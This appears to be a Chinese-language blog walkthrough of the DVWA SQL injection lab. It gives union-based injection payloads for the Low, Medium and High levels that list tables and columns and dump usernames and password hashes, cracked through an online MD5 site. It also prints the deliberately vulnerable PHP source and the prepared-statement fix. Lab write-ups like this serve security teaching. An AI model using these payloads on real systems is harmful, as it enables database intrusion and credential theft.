一点点的sql知识:
SQL语句使用注意事项:
SQL 语言大小写不敏感。
SQL 可以写在一行或者多行
关键字不能被缩写也不能分行
各子句一般要分行写。
使用缩进提高语句的可读性。
MySQL数据库5.0版本以后和5.0版本以前有一个大的区别,就是MySQL5.0以后的版本中默认放着一个information_schema数据库,这个数据库存放着该数据库中所有的库名、表名和列名等等。
>>>可以根据information_schema这个数据库来爆出数据库的库名、表名和列名了,而MySQL5.0以前的版本只能通过暴力破解来跑库名、表名和列名。
schemata表提供了当前mysql实例中所有数据库的信息。
数据库中符号“.”代表下一级,如a.user表示a数据库下的user表名
information_schema.tables;记录所有表名信息的表;table_name; 表名 information_schema.columns;记录所有列名信息的表;column_name; 列名 table_schema; 数据库名
数据库版本(version())、名字(database())、用户(user()),操作系统(@@version_compile_os)
更多的 慢慢学吧,反正现在是不会。。。。
SQL注入漏洞介绍:
SQL注入是指Web应用程序对用户输入数据的合法性没有进行判断,前端传入后端的参数是攻击者可控的,并且参数带入数据库中查询,攻击者可以通过构造不同的SQL语句来实现对数据库的任意操作。
根据相关技术原理,SQL注入可以分为平台层注入和代码层注入。前者由不安全的数据库配置或数据库平台的漏洞所致;后者主要是由于程序员对输入未进行细致地过滤,从而执行了非法的数据查询。基于此,SQL注入的产生原因通常表现在以下几方面:①不当的类型处理;②不安全的数据库配置;③不合理的查询集处理;④不当的错误处理;⑤转义字符处理不合适;⑥多个提交处理不当。
Low级别
手工注入
1.判断是否存在注入,注入是字符型还是数字型 2.猜解SQL查询语句中的字段数 3.确定显示的字段顺序 4.获取当前数据库 5.获取数据库中的表 6.获取表中的字段名 7.下载数据。
注意观察url
1.判断是否存在注入,注入是字符型还是数字型
输入1,查询成功
输入2,得到
直到输入6 ,没有任何显示。
输入1’ or ‘1=2得到下图,返回了多个结果,说明存在字符型注入。
使用order by猜测sql查询语句中的字段数。
输入:1’ or 1=1 order by 1 # ;(#和 – (有个空格)表示注释,可以使它们后面的语句不被执行)
输入:1’ or 1=1 order by 2 # ;
输入:1’ or 1=1 order by 3 # ;报错,说明没有第三个字段。
输入1’ union select 1,2 #,确认字段顺序,从下图可以看出,First name是第一个字段,Suname是第二个字段。
获取当前数据库及版本,输入:1’ union select database() ,version() #;得到数据库及版本
获取数据库中的表。输入:1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() # (获取数据库中的表)
group_concat函数的功能:将group by产生的同一个分组中的值连接起来,返回一个字符串结果。
group_concat函数首先根据group by指定的列进行分组,将同一组的列显示出来,并且用分隔符分隔。由函数参数(字段名)决定要返回的列
函数语法:group_concat( [DISTINCT] 要连接的字段 [Order BY 排序字段 ASC/DESC] [Separator ‘分隔符’] )
即:group_concat([distinct] 字段名 [order by 排序字段 asc/desc] [separator '分隔符'])
说明:
(1)使用distinct可以排除重复值;
(2)如果需要对结果中的值进行排序,可以使用order by子句;
(3)separator是一个字符串值,默认为逗号。
此类问题是由于UNION Mysql的Table的时候对应的字段Collation字符序不同导致的。
通过修改字段的Collation解决此类错误,或者创建字段的时候统一字段的Collation
重新查看字符集及数据表字段编码字符是否一致:
utf8_bin
utf8_general_ci
utf8_unicode_ci
utf8_bin 与 utf8_general_ci 可以
utf8_bin 与 utf8_unicode_ci 可以
utf8_general_ci 与 utf8_unicode_ci 不可以
解决方法:使用16进制读取,获取数据库中的表 1’ union select 1,hex(table_name) from information_schema.tables where table_schema=database() #
使用16进制解码:guestbook;users
获取users表中的字段名:1’ union select 1,hex(column_name) from information_schema.columns where table_name=‘users’ #
进行16进制解码。users字段为:user_id;first_name;last_name;user;password;avatar;last_login;USER…
查询数据:1’ union select group_concat(user_id,first_name),group_concat(password) from users #
可以看到First name 输出为user_id,Surname输出的为password ,password为密文,用MD5转换https://www.cmd5.com/
即得到了所有用户名和密码
查看源码:
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
}
?>
可以看到,Low级别的代码对来自客户端的参数id( $id = $_REQUEST[ ‘id’ ];)没有过滤就直接带入SQL语句中,使用单引号闭合。
Medium级别
查看源码,和low不同之处:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
//......
}
// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];
mysqli_close($GLOBALS["___mysqli_ston"]);
?>
提交方式由REQUEST 变为了POST。利用mysql_real_escape_string函数对特殊符号\x00,\n,\r,’,”,\x1a进行转义,同时前端页面设置了下拉选择表单,希望以此来控制用户的输入。我们可以抓包修改参数,提交构造的查询参数。
方法在上篇https://blog.csdn.net/weixin_44817272/article/details/117740767中DVWA—— Brute Force中有相似操作可以借鉴。使用和low级别一样的注入方法,在数据包中修改数据。构造Payload时避免使用特殊符号\x00,\n,\r,’,”,\x1a。
得出结论:存在注入,注入类型是数字型注入
注入的Payload有:
获取数据库中的所有表:1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
获取表中的所有字段名。考虑到单引号被转义,可以利用 16 进制进行绕过:union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #
获取字段中的数据:1 union select user,password from users#
或者:
id=-1 union select 1,(SELECT GROUP_CONCAT(user,password SEPARATOR 0x3c62723e) FROM users)&Submit=Submit
High级别
查看源码:
<?php
if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
High级别的只是在SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。对参数没有做防御。页面自动跳转,防御了自动化的SQL注入,
虽然添加了LIMIT 1,但是我们可以通过#将其注释掉。且因为是字符型注入,手工注入的过程与Low级别基本一样
Impossible级别
分析源码可以看到使用了PDO技术,杜绝了SQL注入
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Anti-CSRF token防御CSRF攻击
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// 检测是否是数字类型
if(is_numeric( $id )) {
// 预编译
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();
// 确保返回一个结果
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];
// 给最终用户的反馈
$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>